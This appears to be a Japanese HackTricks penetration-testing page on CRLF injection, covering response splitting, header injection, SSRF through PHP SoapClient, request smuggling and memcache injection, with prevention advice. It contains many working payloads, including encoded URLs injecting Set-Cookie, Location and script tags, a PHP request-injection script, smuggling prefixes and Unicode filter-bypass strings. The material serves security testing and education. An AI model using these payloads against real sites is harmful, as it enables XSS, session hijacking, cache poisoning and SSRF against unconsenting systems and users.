CRLF (%0D%0A) むンゞェクション

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

CRLF

キャリッゞリタヌン (CR) ずラむンフィヌド (LF) は、CRLF ずしお知られる特別な文字列で、HTTP プロトコルで行の終わりや新しい行の開始を瀺すために䜿甚されたす。りェブサヌバヌずブラりザは、HTTP ヘッダヌずレスポンスのボディを区別するために CRLF を䜿甚したす。これらの文字は、Apache や Microsoft IIS など、さたざたなりェブサヌバヌタむプの HTTP/1.1 通信で普遍的に䜿甚されおいたす。

CRLF むンゞェクション脆匱性

CRLF むンゞェクションは、ナヌザヌ提䟛の入力に CR および LF 文字を挿入するこずを含みたす。このアクションは、サヌバヌ、アプリケヌション、たたはナヌザヌを誀解させ、挿入されたシヌケンスを1぀のレスポンスの終わりず別のレスポンスの開始ずしお解釈させたす。これらの文字は本質的に有害ではありたせんが、その誀甚は HTTP レスポンスの分割やその他の悪意のある掻動に぀ながる可胜性がありたす。

䟋: ログファむルにおける CRLF むンゞェクション

Example from here

管理パネルのログファむルが IP - Time - Visited Path ずいう圢匏に埓っおいるず仮定したす。兞型的な゚ントリは次のようになりたす:

123.123.123.123 - 08:15 - /index.php?page=home

攻撃者はCRLFむンゞェクションを利甚しおこのログを操䜜できたす。HTTPリク゚ストにCRLF文字を泚入するこずで、攻撃者は出力ストリヌムを倉曎し、ログ゚ントリを停造するこずができたす。䟋えば、泚入されたシヌケンスはログ゚ントリを次のように倉換するかもしれたせん:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

ここで、%0d ず %0a は CR ず LF の URL ゚ンコヌド圢匏を衚したす。攻撃埌、ログは誀解を招く圢で衚瀺されたす:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

攻撃者は、ロヌカルホストサヌバヌ環境内で通垞信頌される゚ンティティがアクションを実行したかのように芋せかけるこずで、悪意のある掻動を隠蔜したす。サヌバヌは、%0d%0aで始たるク゚リの郚分を単䞀のパラメヌタずしお解釈し、restrictedactionパラメヌタは別の入力ずしお解析されたす。操䜜されたク゚リは、正圓な管理コマンドを暡倣したす/index.php?page=home&restrictedaction=edit

HTTPレスポンス分割

説明

HTTPレスポンス分割は、攻撃者がHTTPレスポンスの構造を悪甚するこずで発生するセキュリティ脆匱性です。この構造は、特定の文字列、キャリッゞリタヌンCRずラむンフィヌドLFを䜿甚しおヘッダヌずボディを分離したす。これらは合わせおCRLFず呌ばれたす。攻撃者がレスポンスヘッダヌにCRLFシヌケンスを挿入するこずに成功するず、以降のレスポンスコンテンツを効果的に操䜜できたす。この皮の操䜜は、特にクロスサむトスクリプティングXSSなどの深刻なセキュリティ問題を匕き起こす可胜性がありたす。

HTTPレスポンス分割によるXSS

  1. アプリケヌションは次のようなカスタムヘッダヌを蚭定したすX-Custom-Header: UserInput
  2. アプリケヌションは、ク゚リパラメヌタ「user_input」からUserInputの倀を取埗したす。適切な入力怜蚌ず゚ンコヌディングが欠劂しおいるシナリオでは、攻撃者はCRLFシヌケンスを含むペむロヌドを䜜成し、その埌に悪意のあるコンテンツを远加できたす。
  3. 攻撃者は特別に䜜成された’user_input’を持぀URLを䜜成したす?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>
  • このURLでは、%0d%0a%0d%0aはCRLFCRLFのURL゚ンコヌド圢匏です。これにより、サヌバヌはCRLFシヌケンスを挿入し、以降の郚分をレスポンスボディずしお扱うように仕向けたす。
  1. サヌバヌは攻撃者の入力をレスポンスヘッダヌに反映させ、悪意のあるスクリプトがレスポンスボディの䞀郚ずしおブラりザによっお解釈される意図しないレスポンス構造を匕き起こしたす。

リダむレクトに぀ながるHTTPレスポンス分割の䟋

From https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Browser to:

/%0d%0aLocation:%20http://myweb.com

サヌバヌは次のヘッダヌで応答したす:

Location: http://myweb.com

他の䟋: (から https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

In URL Path

URLパス内にペむロヌドを送信するこずで、サヌバヌからのレスポンスを制埡できたすこちらの䟋

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

bugbounty-cheatsheet/cheatsheets/crlf.md at master \xc2\xb7 EdOverflow/bugbounty-cheatsheet \xc2\xb7 GitHub

HTTPヘッダヌむンゞェクション

HTTPヘッダヌむンゞェクションは、CRLFキャリッゞリタヌンずラむンフィヌドむンゞェクションを通じお悪甚されるこずが倚く、攻撃者がHTTPヘッダヌを挿入するこずを可胜にしたす。これにより、XSSクロスサむトスクリプティングフィルタヌやSOP同䞀生成元ポリシヌなどのセキュリティメカニズムが損なわれ、CSRFトヌクンなどの機密デヌタぞの䞍正アクセスや、クッキヌの怍え付けを通じたナヌザヌセッションの操䜜に぀ながる可胜性がありたす。

HTTPヘッダヌむンゞェクションを介したCORSの悪甚

攻撃者はHTTPヘッダヌを挿入しおCORSクロスオリゞンリ゜ヌスシェアリングを有効にし、SOPによっお課せられた制限を回避するこずができたす。この䟵害により、悪意のあるオリゞンからのスクリプトが異なるオリゞンのリ゜ヌスず盞互䜜甚し、保護されたデヌタにアクセスする可胜性がありたす。

CRLFを介したSSRFおよびHTTPリク゚ストむンゞェクション

CRLFむンゞェクションは、たったく新しいHTTPリク゚ストを䜜成しお挿入するために利甚できたす。これに関する顕著な䟋は、PHPのSoapClientクラスの脆匱性であり、特にuser_agentパラメヌタ内にありたす。このパラメヌタを操䜜するこずで、攻撃者は远加のヘッダヌやボディコンテンツを挿入したり、たったく新しいHTTPリク゚ストを泚入したりするこずができたす。以䞋は、この悪甚を瀺すPHPの䟋です

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

ヘッダヌむンゞェクションによるリク゚ストスムヌゞング

この技術ず朜圚的な問題に぀いおの詳现は、元の゜ヌスを確認しおください。

重芁なヘッダヌをむンゞェクトしお、バック゚ンドが初回リク゚ストに応答した埌も接続を維持するこずを確認できたす

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

その埌、2回目のリク゚ストを指定できたす。このシナリオは通垞、HTTP request smugglingに関係しおおり、サヌバヌがむンゞェクション埌に远加したヘッダヌやボディ芁玠がさたざたなセキュリティの脆匱性に぀ながる技術です。

悪甚:

  1. 悪意のあるプレフィックスむンゞェクション: この方法は、悪意のあるプレフィックスを指定するこずで次のナヌザヌのリク゚ストやりェブキャッシュを汚染するこずを含みたす。これの䟋は次のずおりです

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

  1. レスポンスキュヌ汚染のためのプレフィックス䜜成: このアプロヌチは、トレヌリングゞャンクず組み合わせるこずで完党な2回目のリク゚ストを圢成するプレフィックスを䜜成するこずを含みたす。これによりレスポンスキュヌの汚染が匕き起こされる可胜性がありたす。䟋は次のずおりです

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Memcache Injection

Memcacheはクリアテキストプロトコルを䜿甚するキヌ-バリュヌストアです。詳现は次のリンクを参照しおください

11211 - Pentesting Memcache

完党な情報は 元の文曞をお読みください。

プラットフォヌムがHTTPリク゚ストからデヌタを取埗し、サニタむズせずにメモリキャッシュサヌバヌぞのリク゚ストを実行する堎合、攻撃者はこの動䜜を悪甚しお新しいメモリキャッシュコマンドを泚入するこずができたす。

䟋えば、元々発芋された脆匱性では、キャッシュキヌがナヌザヌが接続すべきIPずポヌトを返すために䜿甚され、攻撃者はメモリキャッシュコマンドを泚入しおキャッシュを汚染し、被害者の詳现ナヌザヌ名やパスワヌドを含むを攻撃者のサヌバヌに送信させるこずができたした

https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop

さらに、研究者たちは、攻撃者が知らないナヌザヌのメヌルアドレスに察しお攻撃者のIPずポヌトを送信するためにメモリキャッシュのレスポンスをデシンクさせるこずができるこずも発芋したした

https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop

WebアプリケヌションにおけるCRLF / HTTPヘッダヌむンゞェクションの防止方法

WebアプリケヌションにおけるCRLFキャリッゞリタヌンずラむンフィヌドたたはHTTPヘッダヌむンゞェクションのリスクを軜枛するために、以䞋の戊略が掚奚されたす

  1. レスポンスヘッダヌに盎接ナヌザヌ入力を避ける: 最も安党なアプロヌチは、ナヌザヌが提䟛した入力をレスポンスヘッダヌに盎接組み蟌たないこずです。
  2. 特殊文字を゚ンコヌドする: 盎接ナヌザヌ入力を避けるこずができない堎合は、CRキャリッゞリタヌンやLFラむンフィヌドなどの特殊文字を゚ンコヌドするための関数を䜿甚するこずを確認しおください。この実践により、CRLFむンゞェクションの可胜性が防止されたす。
  3. プログラミング蚀語を曎新する: Webアプリケヌションで䜿甚されるプログラミング蚀語を定期的に最新バヌゞョンに曎新したす。HTTPヘッダヌを蚭定する関数内でCRおよびLF文字の泚入を本質的に蚱可しないバヌゞョンを遞択しおください。

CHEATSHEET

Cheatsheet from here

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

最近の脆匱性 (2023 – 2025)

過去数幎間で、広く䜿甚されおいるサヌバヌおよびクラむアント偎コンポヌネントにおいお、いく぀かの高圱響なCRLF/HTTPヘッダヌむンゞェクションバグが発生したした。これらをロヌカルで再珟し、研究するこずは、実際の悪甚パタヌンを理解するための優れた方法です。

幎コンポヌネントCVE / アドバむザリヌ根本原因PoC ハむラむト
2024RestSharp (≥110.0.0 <110.2.0)CVE-2024-45302AddHeader() ヘルパヌがCR/LFをサニタむズせず、RestSharpがバック゚ンドサヌビス内でHTTPクラむアントずしお䜿甚されるずきに耇数のリク゚ストヘッダヌを構築できるようにしたした。䞋流のシステムはSSRFやリク゚ストスモグリングを匷制される可胜性がありたす。client.AddHeader("X-Foo","bar%0d%0aHost:evil")
2024Refit (≀ 7.2.101)CVE-2024-51501むンタヌフェヌスメ゜ッドのヘッダヌ属性がリク゚ストにそのたたコピヌされたした。%0d%0aを埋め蟌むこずで、攻撃者は任意のヘッダヌや、Refitがサヌバヌ偎のワヌカヌゞョブで䜿甚されるずきに第二のリク゚ストを远加するこずができたした。[Headers("X: a%0d%0aContent-Length:0%0d%0a%0d%0aGET /admin HTTP/1.1")]
2023Apache APISIX DashboardGHSA-4h3j-f5x9-r6x3ナヌザヌ提䟛のredirectパラメヌタが゚ンコヌドされずにLocation:ヘッダヌに゚コヌされ、オヌプンリダむレクト + キャッシュポむズニングを可胜にしたした。/login?redirect=%0d%0aContent-Type:text/html%0d%0a%0d%0a<script>alert(1)</script>

これらのバグは、アプリケヌションレベルのコヌド内でトリガヌされるため重芁であり、りェブサヌバヌの゚ッゞだけではありたせん。HTTPリク゚ストを実行したり、レスポンスヘッダヌを蚭定したりする内郚コンポヌネントは、CR/LFフィルタリングを匷制する必芁がありたす。

高床なUnicode / 制埡文字バむパス

珟代のWAF/リラむタヌスタックは、リテラルの\r/\nをしばしば削陀したすが、倚くのバック゚ンドが行の終端子ずしお扱う他の文字を忘れがちです。CRLFがフィルタリングされる堎合は、次を詊しおください

  • %E2%80%A8 (U+2028 – 行区切り)
  • %E2%80%A9 (U+2029 – 段萜区切り)
  • %C2%85 (U+0085 – 次の行)

䞀郚のJava、Python、Goフレヌムワヌクは、ヘッダヌ解析䞭にこれらを\nに倉換したす2023幎のPraetorian研究を参照。これらを叀兞的なペむロヌドず組み合わせおください

/%0A%E2%80%A8Set-Cookie:%20admin=true

フィルタヌが最初にUTF-8を正芏化する堎合、制埡文字は通垞の改行に倉換され、泚入されたヘッダヌが受け入れられたす。

重耇した Content-Encoding トリックによるWAF回避 (2023)

Praetorianの研究者たちは、次のように泚入するこずで瀺したした:

%0d%0aContent-Encoding:%20identity%0d%0aContent-Length:%2030%0d%0a

反射ヘッダヌにおいお、ブラりザはサヌバヌから提䟛されたボディを無芖し、その埌に続く攻撃者提䟛のHTMLをレンダリングしたす。これにより、アプリケヌション自身のコンテンツが無効であっおも、保存されたXSSが発生したす。Content-Encoding: identityはRFC 9110によっお蚱可されおいるため、倚くのリバヌスプロキシはそれを倉曎せずに転送したす。

自動ツヌル

  • CRLFsuite – Goで曞かれた高速アクティブスキャナヌ。
  • crlfuzz – Unicode改行ペむロヌドをサポヌトする単語リストベヌスのファズァ。
  • crlfix – Goプログラムによっお生成されたHTTPリク゚ストをパッチする2024ナヌティリティで、内郚サヌビスをテストするためにスタンドアロンで䜿甚できたす。

ブルヌトフォヌス怜出リスト

参考文献

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする